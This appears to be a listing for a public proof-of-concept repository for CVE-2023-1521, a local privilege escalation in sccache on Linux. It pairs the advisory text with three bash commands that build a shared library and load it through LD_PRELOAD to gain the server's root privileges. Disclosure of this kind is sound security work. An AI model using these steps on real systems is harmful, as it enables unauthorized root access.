CVE-2023-1521 PoC — Local Privilege Escalation in sccache

Source

https://github.com/rubbxalc/CVE-2023-1521

Associated Vulnerability

Title: Local Privilege Escalation in sccache (CVE-2023-1521)
Description:On Linux the sccache client can execute arbitrary code with the privileges of a local sccache server, by preloading the code in a shared library passed to LD_PRELOAD. If the server is run as root (which is the default when installing the snap package https://snapcraft.io/sccache ), this means a user running the sccache client can get root privileges.

Readme

## PoC

```bash
gcc -shared -o libpoc.so poc.c -fPIC
export LD_PRELOAD=fullpath_to_libpoc.so
sccache gcc foo.c -o foo
```

File Snapshot

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